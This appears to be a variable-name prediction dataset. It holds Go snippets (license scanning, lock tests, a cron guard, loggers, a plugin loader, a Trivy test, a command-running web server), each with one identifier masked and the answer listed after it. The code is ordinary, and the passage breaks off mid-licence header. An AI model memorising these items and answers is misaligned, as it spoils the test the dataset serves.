[]string{ // Location of common licenses in Debian stretch ""/usr/share/common-licenses/"", } func main() { log.SetFlags(0) image := os.Args[1] ref, err := name.ParseReference(image, name.WeakValidation) if err != nil { log.Fatalf(""parsing image reference %q failed: %v"", image, err) } i, err := remote.Image(ref, remote.WithAuthFromKeychain(authn.DefaultKeychain)) if err != nil { log.Fatalf(""reading image %q failed: %v"", ref, err) } digest, err := i.Digest() if err != nil { log.Fatalf(""reading digest for %q failed: %v"", ref, err) } layers, err := i.Layers() if err != nil { log.Fatalf(""reading layers for %q failed: %v"", ref, err) } var imageName = ref.Name() if tag, ok := ref.(name.Tag); ok { imageName = fmt.Sprintf(""%s@%s"", tag.Name(), digest.String()) } licenseRefs := collectCommonLicenses(layers) printLicenses(imageName, layers, licenseRefs) } func collectCommonLicenses(layers ImageLayers) map[string]string { licenses := make(map[string]string) // This code naively assumes if a license links to another // it's in the same path links := make(map[string]string) err := layers.Walk(func(hdr *tar.Header, r io.Reader) error { for _, location := range CommonLicensesLocation { cleanPath := strings.TrimPrefix(hdr.Name, ""."") if !strings.HasPrefix(cleanPath, location) { continue } if hdr.Typeflag == tar.TypeLink || hdr.Typeflag == tar.TypeSymlink { links[cleanPath] = filepath.Join(location, hdr.Linkname) } licenseText, err := ioutil.ReadAll(r) if err != nil { log.Fatalf(""unable to read next file: %v"", err) } licenses[cleanPath] = string(licenseText) } return nil }) if err != nil { log.Fatalf(""Unable to collect common licenses: %v"", err) } for source, target := range links { licenses[source] = licenses[target] } return licenses } func printLicenses(imageName string, layers ImageLayers, licenseRefs map[string]string) { layers.Walk(func(hdr *tar.Header, r io.Reader) error { for _, name := range LicenseNames { if strings.HasSuffix(hdr.Name, name) { printLicense(imageName, hdr.Name, r, licenseRefs) } } return nil }) } func printLicense(img string, filepath string, reader io.Reader, licenseRefs map[string]string) { fmt.Println(""==========================================================="") fmt.Printf(""image: %s\n"", img) fmt.Printf(""file: %s\n"", strings.TrimPrefix(filepath, ""."")) fmt.Println(""contents:"") fmt.Println() var [MASK] []string scanner := bufio.NewScanner(reader) for scanner.Scan() { text := scanner.Text() for licensePath := range licenseRefs { if strings.Contains(text, licensePath) { [MASK] = append( [MASK] , licensePath) } } printIndented(text) } if err := scanner.Err(); err != nil { log.Fatalf(""unable to read file contents: %v"", err) } for _, ref := range [MASK] { printIndented("""") printIndented(""contents of common-license file %s"", ref) printIndented("""") printCommonLicenseText(licenseRefs[ref]) printIndented("""") } fmt.Println() } func printCommonLicenseText(text string) { scanner := bufio.NewScanner(strings.NewReader(text)) for scanner.Scan() { printIndented(scanner.Text()) } } func printIndented(text string, a ...interface{}) { fmt.Print(""\t"") fmt.Printf(text, a...) fmt.Println() } ",detectedLicensesRefs 680,"package testcase import ( ""sync"" ""sync/atomic"" ""testing"" ""time"" ""github.com/go-locks/distlock/driver"" ) var expiry = time.Second * 5 func RunLockTest(d driver.IDriver, t *testing.T) { var counter int32 var waitGroup = new(sync.WaitGroup) var name, value, other = ""test.lock.name"", ""test.lock.value"", ""test.lock.value.other"" /* competition of lock in multiple goroutine */ for i := 0; i < 50; i++ { waitGroup.Add(1) go func() { ok, _ := d.Lock(name, value, expiry) if ok { atomic.AddInt32(&counter, 1) } waitGroup.Done() }() } waitGroup.Wait() if counter != 1 { t.Errorf(""unexpected result, expect = 1, but = %d"", counter) } /* only assign the same value can unlock the mutex */ d.Unlock(name, other) ok1, _ := d.Lock(name, value, expiry) d.Unlock(name, value) ok2, _ := d.Lock(name, value, expiry) d.Unlock(name, value) if ok1 || !ok2 { t.Errorf(""unexpected result, expect = [false,true] but = [%#v,%#v]"", ok1, ok2) } /* the broadcast notification which triggered by unlock */ if wd, ok := d.(driver.IWatcher); ok { commonWatchAndNotifyTest( wd, name, func() bool { ok, _ := d.Lock(name, value, expiry) return ok }, func() { d.Unlock(name, value) }, ) } } func RunTouchTest(d driver.IDriver, t *testing.T) { var name, value, other = ""test.touch.name"", ""test.touch.value"", ""test.touch.value.other"" /* only after locked and with the same value that the touch action can be succeed */ ok1 := d.Touch(name, value, expiry) d.Lock(name, value, expiry) ok2 := d.Touch(name, value, expiry) ok3 := d.Touch(name, other, expiry) time.Sleep(expiry) ok4 := d.Touch(name, value, expiry) if ok1 || !ok2 || ok3 || ok4 { t.Errorf(""unexpected result, expect = [false,true,false,false] but = [%#v,%#v,%#v,%#v]"", ok1, ok2, ok3, ok4) } } func RunRLockTest(d driver.IRWDriver, t *testing.T) { var counter int32 var waitGroup = new(sync.WaitGroup) var name, value, other = ""test.rlock.name"", ""test.rlock.value"", ""test.rlock.value.other"" /* read locks are not mutually exclusive */ for i := 0; i < 50; i++ { waitGroup.Add(1) go func() { ok, _ := d.RLock(name, value, expiry) if ok { atomic.AddInt32(&counter, 1) } waitGroup.Done() }() } waitGroup.Wait() if counter != 50 { t.Errorf(""unexpected result, expect = 50, but = %d"", counter) } d.RTouch(name, value, expiry) /* write is mutually exclusive with read, * no read lock can enter in after write lock if even it is failed */ ok1, _ := d.WLock(name, value, expiry) ok2, _ := d.RLock(name, value, expiry) if ok1 || ok2 { t.Errorf(""unexpected result, expect = [false,false], but = [%#v,%#v]"", ok1, ok2) } /* only assign the same value can unlock the mutex * after read unlock, if write lock tried before, it will be preferential */ for i := 0; i < 50; i++ { d.RUnlock(name, other) } d.RTouch(name, value, expiry) ok3, _ := d.WLock(name, value, expiry) for i := 0; i < 50; i++ { d.RUnlock(name, value) } ok4, _ := d.RLock(name, value, expiry) ok5, _ := d.WLock(name, value, expiry) d.WUnlock(name, value) [MASK] , _ := d.RLock(name, value, expiry) d.RUnlock(name, value) if ok3 || ok4 || !ok5 || ! [MASK] { t.Errorf(""unexpected result, expect = [false,false,true,true], but = [%#v,%#v,%#v,%#v]"", ok3, ok4, ok5, [MASK] ) } /* the broadcast notification which triggered by unlock */ if wd, ok := d.(driver.IWatcher); ok { commonWatchAndNotifyTest( wd, name, func() bool { ok, _ := d.RLock(name, value, expiry) return ok }, func() { d.RUnlock(name, value) }, ) } } func RunRTouchTest(d driver.IRWDriver, t *testing.T) { var name, value, other = ""test.rtouch.name"", ""test.rtouch.value"", ""test.rtouch.value.other"" /* only after locked and with the same value that the touch action can be succeed */ ok1 := d.RTouch(name, value, expiry) d.RLock(name, value, expiry) ok2 := d.RTouch(name, value, expiry) ok3 := d.RTouch(name, other, expiry) time.Sleep(expiry) // wait for expired ok4 := d.RTouch(name, value, expiry) if ok1 || !ok2 || ok3 || ok4 { t.Errorf(""unexpected result, expect = [false,true,false,false] but = [%#v,%#v,%#v,%#v]"", ok1, ok2, ok3, ok4) } } func RunWLockTest(d driver.IRWDriver, t *testing.T) { var counter int32 var waitGroup = new(sync.WaitGroup) var name, value = ""test.wlock.name"", ""test.wlock.value"" /* write locks are mutually exclusive */ for i := 0; i < 50; i++ { waitGroup.Add(1) go func() { ok, _ := d.WLock(name, value, expiry) if ok { atomic.AddInt32(&counter, 1) } waitGroup.Done() }() } waitGroup.Wait() if counter != 1 { t.Errorf(""unexpected result, expect = 1, but = %d"", counter) } /* if write lock tried before, it will be preferential, * the read lock is not available until the write is expired or unlocked */ d.WUnlock(name, value) ok1, _ := d.RLock(name, value, expiry) ok2, _ := d.WLock(name, value, expiry) ok3, _ := d.RLock(name, value, expiry) time.Sleep(expiry) ok4, _ := d.RLock(name, value, expiry) d.RUnlock(name, value) if !ok1 || ok2 || ok3 || !ok4 { t.Errorf(""unexpected result, expect = [true,false,false,true], but = [%#v,%#v,%#v,%#v]"", ok1, ok2, ok3, ok4) } /* the broadcast notification which triggered by unlock */ if wd, ok := d.(driver.IWatcher); ok { commonWatchAndNotifyTest( wd, name, func() bool { ok, _ := d.WLock(name, value, expiry) return ok }, func() { d.WUnlock(name, value) }, ) } } func RunWTouchTest(d driver.IRWDriver, t *testing.T) { var name, value, other = ""test.wtouch.name"", ""test.wtouch.value"", ""test.wtouch.value.other"" /* only after locked and with the same value that the touch action can be succeed */ ok1 := d.WTouch(name, value, expiry) d.WLock(name, value, expiry) ok2 := d.WTouch(name, value, expiry) ok3 := d.WTouch(name, other, expiry) time.Sleep(expiry) // wait for expired ok4 := d.WTouch(name, value, expiry) if ok1 || !ok2 || ok3 || ok4 { t.Errorf(""unexpected result, expect = [false,true,false,false] but = [%#v,%#v,%#v,%#v]"", ok1, ok2, ok3, ok4) } } func commonWatchAndNotifyTest(d driver.IWatcher, name string, lock func() bool, unlock func()) { var waitGroup sync.WaitGroup for i := 0; i < 2; i++ { waitGroup.Add(1) go func() { msgCounter := 0 notifyChan := d.Watch(name) for { select { case <-notifyChan: msgCounter++ if msgCounter == 10 { waitGroup.Done() } } } }() } waitGroup.Add(1) go func() { /* make ensure all channels are ready */ time.Sleep(time.Millisecond * 1000) for i := 1; i <= 10; i++ { if lock() { unlock() } } waitGroup.Done() }() waitGroup.Wait() } ",ok6 681,"package main import ( ""context"" ""flag"" ""fmt"" ""io"" stdlog ""log"" ""os"" ""os/exec"" ""regexp"" ""time"" ""github.com/rs/zerolog"" ""github.com/rs/zerolog/log"" ) type ( // CmdRequest ist a guarded command request CmdRequest struct { Name string Command string Debug bool ErrFile string ErrFileQuiet bool ErrFileHideUUID bool QuietTimes string Timeout time.Duration Lockfile string Regex *regexp.Regexp Config *Config Status *CmdStatus Reporter *Reporter } // CmdStatus is the commands status CmdStatus struct { Stdout io.Writer // captures stdout Stderr io.Writer // captures stderr Combined io.Writer // captures stdout and stderr ExitCode int // captures the exitcode } // GuardFunc is a middleware function GuardFunc func(ctx context.Context, cr *CmdRequest) (err error) ) func main() { log.Logger = log.Output(zerolog.ConsoleWriter{ Out: os.Stderr, TimeFormat: zerolog.TimeFormatUnix, }) stdlog.SetFlags(0) stdlog.Default().SetOutput( log.Logger. Level(zerolog.DebugLevel). With(). Str(""logger"", ""stdlog""). Logger(), ) cr := CmdRequest{} cr.Config = ParseConfig() cr.Status = &CmdStatus{} f := flag.NewFlagSet(os.Args[0], flag.ExitOnError) f.StringVar(&cr.Name, ""name"", ""guard"", ""cron name in syslog"") f.StringVar(&cr.ErrFile, ""errfile"", ""/var/log/cronstatus"", ""error report file"") f.BoolVar(&cr.ErrFileQuiet, ""errfile-quiet"", false, ""hide timings in error report file"") f.BoolVar(&cr.ErrFileHideUUID, ""errfile-no-uuid"", false, ""hide uuid in error report file"") f.StringVar(&cr.QuietTimes, ""quiet-times"", """", ""time ranges to ignore errors, format 'start(cron format):duration(golang duration):..."") f.DurationVar(&cr.Timeout, ""timeout"", 0, ""timeout for the cron, set to enable"") f.StringVar(&cr.Lockfile, ""lockfile"", """", ""lockfile to prevent the cron running twice, set to enable"") f.BoolVar(&cr.Debug, ""debug"", false, ""enable debugging"") [MASK] := f.String(""regex"", `(?im)\b(err|fail|crit)`, ""regex for bad words"") if err := f.Parse(os.Args[1:]); err != nil { log.Fatal().Err(err).Msg(""unable to parse arguments"") } cr.Regex = regexp.MustCompile(* [MASK] ) if len(f.Args()) != 1 { log.Fatal().Msgf(""more than one command argument given: '%v'"", f.Args()) } if !cr.Debug { zerolog.SetGlobalLevel(zerolog.InfoLevel) } cr.Command = f.Arg(0) r := chained( runner, timeout, validateStdout, validateStderr, quietIgnore, lockfile, sentryHandler, headerize, combineLogs, insertUUID, writeSyslog, setupLogs, ) err := r(context.Background(), &cr) if err != nil { log.Fatal().Err(err).Msg(""execution failed"") } } // chained chaines all the middlewares together (reversed execution order) func chained(final func() GuardFunc, middlewares ...func(GuardFunc) GuardFunc) (g GuardFunc) { g = final() for _, m := range middlewares { g = m(g) } return } // runner executes the guarded command func runner() GuardFunc { return func(ctx context.Context, cr *CmdRequest) (err error) { cmd := exec.CommandContext(ctx, ""bash"", ""-c"", cr.Command) cmd.Stdout = cr.Status.Stdout cmd.Stderr = cr.Status.Stderr err = cmd.Start() if err != nil { return fmt.Errorf(""unable to run command: %s"", err) } err = cmd.Wait() log.Debug().Err(err).Str(""middleware"", ""runner"").Msg(""executed"") if err != nil { switch casted := err.(type) { case *exec.ExitError: cr.Status.ExitCode = casted.ExitCode() default: cr.Status.ExitCode = 1 err = fmt.Errorf(""unable to execute command: %w"", err) } return err } return err } } ",regexFlag 682,"/* Setup logger with zerolog and ansi colors for terminal output. */ package AminLogger // import packages import ( ""os"" ""time"" ""github.com/rs/zerolog"" ""github.com/rs/zerolog/log"" ) // ANSI color codes for terminal output const ( Reset = ""\033[0m"" Bold = ""\033[1m"" // Text Colors FgBlack = ""\033[30m"" FgRed = ""\033[31m"" FgGreen = ""\033[32m"" FgYellow = ""\033[33m"" FgBlue = ""\033[34m"" FgMagenta = ""\033[35m"" FgCyan = ""\033[36m"" FgWhite = ""\033[37m"" // Background Colors BgBlack = ""\033[40m"" BgRed = ""\033[41m"" BgGreen = ""\033[42m"" BgYellow = ""\033[43m"" BgBlue = ""\033[44m"" BgMagenta = ""\033[45m"" BgCyan = ""\033[46m"" BgWhite = ""\033[47m"" ) // tip structs are a collection of variables that can be used to group related data together // tip structs can't be constants type AnsiColors struct { Reset string Bold string // Forground Colors FgBlack string FgRed string FgGreen string FgYellow string FgBlue string FgMagenta string FgCyan string FgWhite string // Background Colors BgBlack string BgRed string BgGreen string BgYellow string BgBlue string BgMagenta string BgCyan string BgWhite string } // Create a variable of the struct type var Ansi = AnsiColors{ Reset: ""\033[0m"", Bold: ""\033[1m"", // Forground Colors FgBlack: ""\033[30m"", FgRed: ""\033[31m"", FgGreen: ""\033[32m"", FgYellow: ""\033[33m"", FgBlue: ""\033[34m"", FgMagenta: ""\033[35m"", FgCyan: ""\033[36m"", FgWhite: ""\033[37m"", // Background Colors, BgBlack: ""\033[40m"", BgRed: ""\033[41m"", BgGreen: ""\033[42m"", BgYellow: ""\033[43m"", BgBlue: ""\033[44m"", BgMagenta: ""\033[45m"", BgCyan: ""\033[46m"", BgWhite: ""\033[47m"", } /* SetupLogger initializes zerolog to write to both console and a file. */ func SetupLogger(logFilePath string, [MASK] zerolog.Level) (zerolog.Logger, error) { // Open or create the log file file, err := os.OpenFile(logFilePath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644) if err != nil { return zerolog.Logger{}, err } // Console writer with human-friendly formatting consoleWriter := zerolog.ConsoleWriter{ Out: os.Stdout, TimeFormat: time.RFC3339, } // Set global log level zerolog.SetGlobalLevel( [MASK] ) // Combine both writers multi := zerolog.MultiLevelWriter(consoleWriter, file) // Set global time format zerolog.TimeFieldFormat = time.RFC3339 // Create the logger logger := zerolog.New(multi).With().Caller().Timestamp().Logger() // Set as the global logger log.Logger = logger return logger, nil } ",logLevel 683,"// Process data using a pipeline. // Copyright (C) 2017 // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published // by the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . package main import ( ""plugin"" ""github.com/Bigomby/gopiper/component"" ""github.com/Bigomby/gopiper/pipeline"" lua ""github.com/yuin/gopher-lua"" ) // exports contains the exported functions to the lua environment var exports = map[string]lua.LGFunction{ ""loadComponent"": loadComponent, ""createPipeline"": createPipeline, } // LuaLoader is the function to load the Go functions into the lua environment func LuaLoader(L *lua.LState) int { mod := L.SetFuncs(L.NewTable(), exports) mt := L.NewTypeMetatable(""factory"") L.SetGlobal(""factory"", mt) L.Push(mod) return 1 } ////////////////////// // Module functions // ////////////////////// // loadComponent loads a Go plugin for a component. A component should export a // NewFactory symbol for a function that returns a Factory interface and set // the given attributes of the Factory. // // The first argument is the path to the plugin (.so file) // The second argument is a table with the attributes func loadComponent(L *lua.LState) int { [MASK] := L.CheckString(1) attributes := L.CheckTable(2) p, err := plugin.Open( [MASK] ) if err != nil { panic(err) } fs, err := p.Lookup(""NewFactory"") if err != nil { panic(err) } factory := fs.(func() component.Factory)() attributes.ForEach(func(key lua.LValue, val lua.LValue) { factory.SetAttribute(key.String(), getValue(val)) }) ud := L.NewUserData() ud.Value = factory L.SetMetatable(ud, L.GetTypeMetatable(""factory"")) L.Push(ud) return 1 } // createPipeline receives the path to the plugin to load and a table with // attributes and creates a pipeline with those plugins. func createPipeline(L *lua.LState) int { var factories []component.Factory L.CheckTable(1).ForEach(func(i lua.LValue, val lua.LValue) { var ( ok bool ud *lua.LUserData factory component.Factory ) if ud, ok = val.(*lua.LUserData); !ok { panic(""Element in table is not user data"") } if factory, ok = ud.Value.(component.Factory); !ok { panic(""Element in table is not factory"") } factories = append(factories, factory) }) Pipeline = pipeline.NewPipeline(factories) return 0 } func getValue(value lua.LValue) interface{} { if value.Type().String() == ""string"" { return value.String() } if value.Type().String() != ""table"" { return value } luaTable := value.(*lua.LTable) goMap := make(map[string]interface{}) luaTable.ForEach(func(key lua.LValue, val lua.LValue) { goMap[key.String()] = getValue(val) }) return goMap } ",pluginPath 684,"//go:build integration package integration import ( ""context"" ""testing"" ""time"" ""github.com/stretchr/testify/assert"" ""github.com/stretchr/testify/require"" ""github.com/aquasecurity/trivy/internal/testutil"" awscommands ""github.com/aquasecurity/trivy/pkg/cloud/aws/commands"" ""github.com/aquasecurity/trivy/pkg/flag"" ) func TestAwsCommandRun(t *testing.T) { tests := []struct { name string options flag.Options envs map[string]string wantErr string }{ { name: ""fail without region"", options: flag.Options{ RegoOptions: flag.RegoOptions{SkipPolicyUpdate: true}, }, envs: map[string]string{ ""AWS_ACCESS_KEY_ID"": ""test"", ""AWS_SECRET_ACCESS_KEY"": ""test"", }, wantErr: ""aws region is required"", }, { name: ""fail without creds"", envs: map[string]string{ ""AWS_PROFILE"": ""non-existent-profile"", }, options: flag.Options{ RegoOptions: flag.RegoOptions{SkipPolicyUpdate: true}, AWSOptions: flag.AWSOptions{ Region: ""us-east-1"", }, }, wantErr: ""non-existent-profile"", }, } ctx := context.Background() [MASK] , addr, err := testutil.SetupLocalStack(ctx, ""2.2.0"") require.NoError(t, err) defer [MASK] .Terminate(ctx) for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { tt.options.AWSOptions.Endpoint = addr tt.options.GlobalOptions.Timeout = time.Minute for k, v := range tt.envs { t.Setenv(k, v) } err := awscommands.Run(context.Background(), tt.options) if tt.wantErr != """" { require.Error(t, err) assert.Contains(t, err.Error(), tt.wantErr, tt.name) return } assert.NoError(t, err) }) } } ",localstackC 685,"package main import ( ""bytes"" ""context"" ""embed"" ""encoding/json"" ""errors"" ""flag"" ""fmt"" ""html/template"" ""log"" ""net/http"" ""os"" ""os/exec"" ""regexp"" ""strings"" ""time"" ""github.com/gorilla/csrf"" ""github.com/lithammer/shortuuid/v4"" ""gopkg.in/yaml.v3"" ) type Key string type Config struct { CSRFSetting CSRF `yaml:""csrf""` Listen string `yaml:""listen""` Auth AuthConfig `yaml:""auth""` Tasks []Task `yaml:""tasks""` } type CSRF struct { Secret string `yaml:""secret""` HttpsOnly bool `yaml:""https_only""` } type TaskStats struct { Started time.Time Ended time.Time Duration time.Duration ExitCode int StdOut string StdErr string IsKilled bool Error error } type AuthConfig struct { Username string `yaml:""username""` Password string `yaml:""""` } type Task struct { Name string `yaml:""name""` Command []string `yaml:""command""` Timeout int `yaml:""timeout""` // Timeout in seconds } type Param struct { Name string `yaml:""name""` } var ( config Config //go:embed .version version string //go:embed templates templatesStore embed.FS favicon []byte = MustLoadObjectByName(""favicon.ico"") masterTemplate = MustLoadTemplateByName(""common.html"") taskListTemplate = mergeTemplate(masterTemplate, ""tasklist.html"") taskFormTemplate = mergeTemplate(masterTemplate, ""taskform.html"") taskResultTemplate = mergeTemplate(masterTemplate, ""result.html"") defaultTimeout = 15 * time.Second ) func loadObjectByName(name string) ([]byte, error) { return templatesStore.ReadFile(name) } func MustLoadObjectByName(name string) []byte { data, err := loadObjectByName(""templates/"" + name) if err != nil { log.Printf(""Failed to load object `%s`, cause: %s"", name, err) panic(err) } return data } func MustLoadTemplateByName(name string) *template.Template { data, err := loadObjectByName(""templates/"" + name) if err != nil { log.Printf(""Error loading template by name `%s`: %s"", name, err) panic(err) } var result = template.New(name) result, err = result.Parse(string(data)) if err != nil { log.Printf(""Unable to parse template for name `%s`"", name) panic(err) } return result } func mergeTemplate(base *template.Template, name string) *template.Template { baseClone, err := base.Clone() if err != nil { panic(""unable to clone Master Template, cause: "" + err.Error()) } data := MustLoadObjectByName(name) result, err := baseClone.Parse(string(data)) if err != nil { panic(""unable to merge Master Template with template name "" + name + "", cause: "" + err.Error()) } return result } func loadConfig() { data, err := os.ReadFile(getConfigFilePath()) if err != nil { log.Fatalf(""Failed to read config: %v"", err) } err = yaml.Unmarshal(data, &config) if err != nil { log.Fatalf(""Failed to parse YAML: %v"", err) } } func requestId(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { ctx := context.WithValue(r.Context(), Key(""request_id""), uuid()) next(w, r.WithContext(ctx)) } } func injectServerVersion(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Server-Version"", ""WebAction/""+version) next(w, r) } } func middlewares(next http.HandlerFunc) http.HandlerFunc { return requestId(injectServerVersion(requestTimer(basicAuth(debugUser(next))))) } func debugUser(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { request_id := r.Context().Value(Key(""request_id"")).(string) user := r.Context().Value(Key(""user"")).(string) log.Printf(""%s authenticated user is `%s`\n"", request_id, user) next(w, r) } } func requestTimer(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { start := time.Now() request_id := r.Context().Value(Key(""request_id"")).(string) ctx := context.WithValue(r.Context(), Key(""startTime""), start) log.Printf(""%s started\n"", request_id) next(w, r.WithContext(ctx)) duration := time.Since(start) log.Printf(""%s ended. elapsed %s\n"", request_id, duration) } } func basicAuth(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { user, pass, ok := r.BasicAuth() if !ok || user != config.Auth.Username || pass != config.Auth.Password { w.Header().Set(""WWW-Authenticate"", `Basic realm=""Restricted""`) http.Error(w, ""Unauthorized"", http.StatusUnauthorized) return } ctx := context.WithValue(r.Context(), Key(""user""), user) next(w, r.WithContext(ctx)) } } func listTasks(w http.ResponseWriter, r *http.Request) { log.Printf(""%s Listing tasks. %d tasks found"", r.Context().Value(Key(""request_id"")).(string), len(config.Tasks)) renderTemplate(w, r, taskListTemplate, map[string]interface{}{ ""Title"": ""Task List"", ""Tasks"": config.Tasks, }) } func executeTask(w http.ResponseWriter, r *http.Request) { request_id := r.Context().Value(Key(""request_id"")).(string) taskName := r.FormValue(""task"") log.Printf(""%s Executing task with name `%s`"", request_id, taskName) var selectedTask *Task // Find the selected task by its name for _, task := range config.Tasks { if task.Name == taskName { selectedTask = &task break } } // Handle task not found case if selectedTask == nil { http.Error(w, ""Task not found"", http.StatusBadRequest) return } log.Printf(""%s Selected task is %s (arg count including self %d)"", request_id, toJson(selectedTask.Command), len(selectedTask.Command)) // Process the command and replace placeholders with user input args := make([]string, len(selectedTask.Command)) copy(args, selectedTask.Command) // Loop over each argument and replace placeholders for i, arg := range args { if strings.HasPrefix(arg, ""%%"") { args[i] = arg[1:] continue } // Check if the argument contains placeholders like %ParamName for _, param := range extractParamsFromCommand(arg) { placeholder := ""%"" + param value := r.FormValue(param) log.Printf(""%s Token %s(Param %s) => Form Value `%s`\n"", request_id, placeholder, param, value) // Check if the argument is double-escaped, and avoid replacing it args[i] = strings.ReplaceAll(args[i], placeholder, value) } } // Use task-specific timeout or default to 15 seconds taskTimeout := defaultTimeout if selectedTask.Timeout > 0 { taskTimeout = time.Duration(selectedTask.Timeout) * time.Second } // Run the command with the specified timeout ctx, cancel := context.WithTimeout(context.Background(), taskTimeout) defer cancel() log.Printf(""%s Final args: %s\n"", request_id, toJson(args)) cmd := exec.CommandContext(ctx, args[0], args[1:]...) var stdout bytes.Buffer var stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr var stats TaskStats stats.Started = time.Now() // Start the command execution err := cmd.Start() if err != nil { stats.IsKilled = false stats.Ended = time.Now() stats.Duration = stats.Ended.Sub(stats.Started) stats.ExitCode = -1 stats.StdOut = defaultString("""") stats.StdErr = defaultString("""") stats.Error = errors.New(""can't start process"") renderTemplate(w, r, taskResultTemplate, map[string]interface{}{ ""Title"": ""Execute Task"", ""Task"": selectedTask.Name, ""Result"": stats, }) return } done := make(chan error, 1) go func() { done <- cmd.Wait() }() select { case <-ctx.Done(): _ = cmd.Process.Kill() // Kill process if timeout reached stats.IsKilled = true stats.Ended = time.Now() stats.Duration = stats.Ended.Sub(stats.Started) stats.ExitCode = cmd.ProcessState.ExitCode() stats.StdOut = defaultString(stdout.String()) stats.StdErr = defaultString(stderr.String()) stats.Error = errors.New(""timeout killed"") renderTemplate(w, r, taskResultTemplate, map[string]interface{}{ ""Title"": ""Execute Task"", ""Task"": selectedTask.Name, ""Result"": stats, }) case err := <-done: stats.Ended = time.Now() stats.ExitCode = cmd.ProcessState.ExitCode() stats.Duration = stats.Ended.Sub(stats.Started) stats.StdOut = defaultString(stdout.String()) stats.StdErr = defaultString(stderr.String()) stats.IsKilled = false if err != nil { stats.Error = err } renderTemplate(w, r, taskResultTemplate, map[string]interface{}{ ""Title"": ""Execute Task"", ""Task"": selectedTask.Name, ""Result"": stats, }) } } func defaultString(input string) string { if input == """" { return ""N/A"" } return input } func renderTemplate(w http.ResponseWriter, r *http.Request, [MASK] *template.Template, data map[string]interface{}) { if user, ok := r.Context().Value(Key(""user"")).(string); ok { data[""User""] = user } data[csrf.TemplateTag] = csrf.Token(r) // Embed CSRF token data[""CSRFFieldName""] = ""gorilla.csrf.Token"" // Render the template if err := [MASK] .ExecuteTemplate(w, ""common.html"", data); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } } func main() { log.Printf(""version %s\n"", version) what, _ := templatesStore.ReadDir(""templates"") for i, next := range what { log.Printf("" Found asset %d -> %s\n"", i, next.Name()) } loadConfig() CSRF := csrf.Protect( []byte(config.CSRFSetting.Secret), // Load secret from environment variable csrf.Secure(config.CSRFSetting.HttpsOnly), // Set to true in production (HTTPS only) csrf.HttpOnly(true), // Prevent client-side JavaScript access csrf.Path(""/""), // Token is valid for all paths ) mux := http.NewServeMux() mux.HandleFunc(""/"", middlewares(listTasks)) mux.HandleFunc(""/task"", middlewares(taskForm)) mux.HandleFunc(""/execute"", middlewares(executeTask)) mux.HandleFunc(""/favicon.ico"", func(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""image/x-icon"") w.Write(favicon) }) log.Printf(""Server running on http://%s\n"", config.Listen) err := http.ListenAndServe(config.Listen, CSRF(mux)) log.Println(err) } func taskForm(w http.ResponseWriter, r *http.Request) { request_id := r.Context().Value(Key(""request_id"")).(string) taskName := r.FormValue(""task"") log.Printf(""%s rendering task form with name `%s`\n"", request_id, taskName) var selectedTask *Task // Find the selected task by its name for _, task := range config.Tasks { if task.Name == taskName { selectedTask = &task break } } // Handle task not found case if selectedTask == nil { http.Error(w, ""Task not found"", http.StatusBadRequest) return } // Extract parameter names from the command params := extractParamsFromCommandList(selectedTask.Command) timeout := defaultTimeout if selectedTask.Timeout > 0 { timeout = time.Duration(selectedTask.Timeout) * time.Second } // Render the form with the parameter names renderTemplate(w, r, taskFormTemplate, map[string]interface{}{ ""Title"": ""Execute Task"", ""Task"": selectedTask, ""Timeout"": timeout, ""Params"": params, }) } // extractParamsFromCommandList scans the command and extracts parameter names (e.g., %Count, %Host) func extractParamsFromCommandList(command []string) []string { var params []string for _, arg := range command { params = append(params, extractParamsFromCommand(arg)...) } return params } func extractParamsFromCommand(command string) []string { var params []string // Regular expression to match placeholders like %ParamName re := regexp.MustCompile(`^%([A-Za-z0-9_-]+)$`) matches := re.FindAllStringSubmatch(command, -1) // Extract the parameter names from the regex matches for _, match := range matches { if len(match) > 1 { params = append(params, match[1]) // match[1] contains the captured parameter name } } return params } func toJson(arg interface{}) string { jsonBytes, err := json.Marshal(arg) if err != nil { panic(err) } return string(jsonBytes) } func uuid() string { return shortuuid.New() } func getConfigFilePath() string { // Define flags for long and short versions configPath := flag.String(""config"", """", ""Path to the config file (default to config.yaml/config.yml) refer to config.yaml.example for details"") configPathShort := flag.String(""c"", """", ""Short-hand for -config"") // Custom help message flag.Usage = func() { fmt.Println(""Usage: webaction [OPTIONS]"") fmt.Println(""Options:"") flag.PrintDefaults() } // Parse the command-line arguments flag.Parse() // Prioritize the short flag if both are provided configFile := *configPathShort if configFile == """" { configFile = *configPath } // If a config file is provided via flags, check if it exists if configFile != """" { if _, err := os.Stat(configFile); err == nil { return configFile } fmt.Printf(""Warning: Config file '%s' not found, falling back to defaults.\n"", configFile) } // Default to ""./config.yaml"" if it exists if _, err := os.Stat(""./config.yaml""); err == nil { fmt.Printf(""Default using ./config.yaml as config file\n"") return ""./config.yaml"" } // Default to ""./config.yml"" if it exists if _, err := os.Stat(""./config.yml""); err == nil { fmt.Printf(""Default using ./config.yml as config file\n"") return ""./config.yml"" } // If no config file is found, print an error and exit fmt.Println(""Error: No valid config file found."") flag.Usage() os.Exit(1) // Exit the program return """" // This won't be reached, but ensures function signature consistency } ",tmpl 686,"/******************************************************************************* * Copyright 2017 Dell Inc. * * Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. 